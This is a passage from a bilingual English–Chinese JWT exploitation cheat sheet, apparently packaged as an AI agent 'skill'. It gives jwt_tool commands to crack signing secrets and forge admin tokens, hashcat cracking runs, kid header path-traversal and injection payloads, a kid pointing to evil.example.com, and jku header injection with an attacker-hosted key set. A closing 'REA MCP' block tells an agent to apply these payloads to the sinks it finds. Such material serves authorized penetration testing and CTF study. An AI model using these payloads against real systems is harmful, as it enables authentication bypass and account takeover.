> 0Finally, finish the token by signing it with the previously retrieved "secret" key.
powershell
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 1
Please enter the known key:
> secret
Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic- Recon:
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw - Scanning:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb - Exploitation:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin - Fuzzing:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt - Review:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
首先,使用 ticarpi/jwt_tool 暴力破解用于计算签名的 "secret" 密钥。
powershell
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C然后编辑 JSON Web Token 内的字段。
powershell
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step
Please select a field number (or 0 to Continue):
> 0最后,使用之前获取的 "secret" 密钥完成令牌签名。
powershell
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 1
Please enter the known key:
> secret
Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic- 侦察:
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw - 扫描:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb - 利用:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin - 模糊测试:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt - 审查:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Hashcat
Hashcat
Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src
- Dictionary attack:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt - Rule-based attack:
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule - Brute force attack:
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
已支持使用 hashcat 在单张 GTX1080 上以 365MH/s 的速度破解 JWT(JSON Web Token)——源码
- 字典攻击:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt - 基于规则的攻击:
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule - 暴力破解攻击:
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
JWT Claims
JWT 声明
JWT kid Claim Misuse
JWT kid 声明误用
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
-
Example #1 : Local filejson
{ "alg": "HS256", "typ": "JWT", "kid": "/root/res/keys/secret.key" } -
Example #2 : Remote filejson
{ "alg":"RS256", "typ":"JWT", "kid":"http://localhost:7070/privKey.key" }
The content of the file specified in the kid header will be used to generate the signature.
js
// Example for HS256
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret-from-secret.key
)The common ways to misuse the kid header:
-
Get the key content to change the payload
-
Change the key path to force your ownpy
>>> jwt.encode( ... {"some": "payload"}, ... "secret", ... algorithm="HS256", ... headers={"kid": "http://evil.example.com/custom.key"}, ... ) -
Change the key path to a file with a predictable content.ps1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2" -
Modify the kid header to attempt SQL and Command Injections
JSON Web Token (JWT) 中的 "kid"(密钥 ID)声明是一个可选的标头参数,用于指定对 JWT 进行签名或加密时使用的加密密钥的标识符。需要注意的是,密钥标识符本身并不会提供任何安全收益,其作用是让接收方能够找到验证 JWT 完整性所需的密钥。
-
示例 #1:本地文件json
{ "alg": "HS256", "typ": "JWT", "kid": "/root/res/keys/secret.key" } -
示例 #2:远程文件json
{ "alg":"RS256", "typ":"JWT", "kid":"http://localhost:7070/privKey.key" }
kid 标头中指定文件的内容将用于生成签名。
js
// Example for HS256
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret-from-secret.key
)误用 kid 标头的常见方式:
-
获取密钥内容以更改载荷
-
更改密钥路径以强制使用自己的密钥py
>>> jwt.encode( ... {"some": "payload"}, ... "secret", ... algorithm="HS256", ... headers={"kid": "http://evil.example.com/custom.key"}, ... ) -
将密钥路径更改为内容可预测的文件。ps1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2" -
修改 kid 标头,尝试 SQL 和命令注入
JWKS - jku header injection
JWKS - jku 标头注入
"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
It is sometimes exposed publicly via a standard endpoint:
/jwks.json/.well-known/jwks.json/openid/connect/jwks.json/api/keys/api/v1/keys/{tenant}/oauth2/v1/certs
You should create your own key pair for this attack and host it. It should look like that:
json
{
"keys": [
{
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
"kty": "RSA",
"e": "AQAB",
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
}
]
}Exploit:
-
Using ticarpi/jwt_toolps1
python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json -
Using portswigger/JWT Editor
- Generate a new RSA key and host it
- Edit JWT's data
- Replace the header with the one from your JWKS
kid - Add a header and sign the JWT (
jkuoption should be checked)Don't modify header
Deconstructed:
json
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]"jku" 标头值指向 JWKS 文件的 URL。如果将 "jku" URL 替换为攻击者控制且包含公钥的 URL,攻击者便可以使用配对的私钥对令牌进行签名,再让服务获取恶意公钥并验证令牌。
它有时会通过标准端点公开:
/jwks.json/.well-known/jwks.json/openid/connect/jwks.json/api/keys/api/v1/keys/{tenant}/oauth2/v1/certs
进行此攻击时,应创建自己的密钥对并进行托管。其内容应如下所示:
json
{
"keys": [
{
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
"kty": "RSA",
"e": "AQAB",
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
}
]
}利用方式:
-
ps1
python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json -
- 生成新的 RSA 密钥并进行托管
- 编辑 JWT 的数据
- 将 标头替换为 JWKS 中的值
kid - 添加 标头并对 JWT 进行签名(应勾选
jku选项)Don't modify header
解析结构:
json
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]Labs
实验
- PortSwigger - JWT authentication bypass via unverified signature
- PortSwigger - JWT authentication bypass via flawed signature verification
- PortSwigger - JWT authentication bypass via weak signing key
- PortSwigger - JWT authentication bypass via jwk header injection
- PortSwigger - JWT authentication bypass via jku header injection
- PortSwigger - JWT authentication bypass via kid header path traversal
- Root Me - JWT - Introduction
- Root Me - JWT - Revoked token
- Root Me - JWT - Weak secret
- Root Me - JWT - Unsecure File Signature
- Root Me - JWT - Public key
- Root Me - JWT - Header Injection
- Root Me - JWT - Unsecure Key Handling
- PortSwigger - 通过未经验证的签名绕过 JWT 身份验证
- PortSwigger - 通过错误的签名验证绕过 JWT 身份验证
- PortSwigger - 通过弱签名密钥绕过 JWT 身份验证
- PortSwigger - 通过 jwk 标头注入绕过 JWT 身份验证
- PortSwigger - 通过 jku 标头注入绕过 JWT 身份验证
- PortSwigger - 通过 kid 标头路径遍历绕过 JWT 身份验证
- Root Me - JWT - 简介
- Root Me - JWT - 已撤销令牌
- Root Me - JWT - 弱密钥
- Root Me - JWT - 不安全的文件签名
- Root Me - JWT - 公钥
- Root Me - JWT - 标头注入
- Root Me - JWT - 不安全的密钥处理
References
参考资料
- 5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019
- Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016
- Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023
- Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015
- Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018
- Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017
- Hacking JSON Web Tokens - Vickie Li - October 27, 2019
- HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017
- How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017
- JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020
- JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022
- JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017
- Learn how to use JSON Web Tokens (JWT) for Authentication - dwyl - May 3, 2022
- Privilege Escalation like a Boss - janijay007 - October 27, 2018
- Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019
- WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016
- Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019
- 理解 JSON Web Token 的 5 个简单步骤 - Shaurya Sharma - 2019 年 12 月 21 日
- 攻击 JWT 身份验证 - Sjoerd Langkemper - 2016 年 9 月 28 日
- Club EH RM 05 - JSON Web Token 利用简介 - Nishacid - 2023 年 2 月 23 日
- JSON Web Token 库中的严重漏洞 - Tim McLean - 2015 年 3 月 31 日
- 破解 JSON Web Token (JWT) - pwnzzzz - 2018 年 5 月 3 日
- 破解 JSON Web Token - 从零到高手 - Websecurify - 2017 年 2 月 9 日
- 破解 JSON Web Token - Vickie Li - 2019 年 10 月 27 日
- HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - 2017 年 8 月 27 日
- 如何使用计时攻击破解弱 JWT 实现 - Tamas Polgar - 2017 年 1 月 7 日
- Auth0 身份验证 API 中的 JSON Web Token 验证绕过 - Ben Knight - 2020 年 4 月 16 日
- JSON Web Token 漏洞 - 0xn3va - 2022 年 3 月 27 日
- JWT 破解入门 - TrustFoundry - Tyler Rosonke - 2017 年 12 月 8 日
- 像老板一样进行权限提升 - janijay007 - 2018 年 10 月 27 日
- 简单的 JWT 破解 - Hari Prasanth (@b1ack_h00d) - 2019 年 3 月 7 日
- WebSec CTF - 授权令牌 - JWT 挑战 - Kris Hunt - 2017 年 8 月 7 日
- 漏洞复盘 - JRR Token - LeHack 2019 - Laphaze - 2019 年 7 月 7 日
REA MCP Integration
REA MCP 集成
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.Legal Notice
法律声明
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 此 skill 中的所有载荷仅用于安全研究、获得书面许可的渗透测试、CTF 比赛和防御性研究。未经授权对非自有系统或未获得明确测试许可的系统使用,均属违法行为。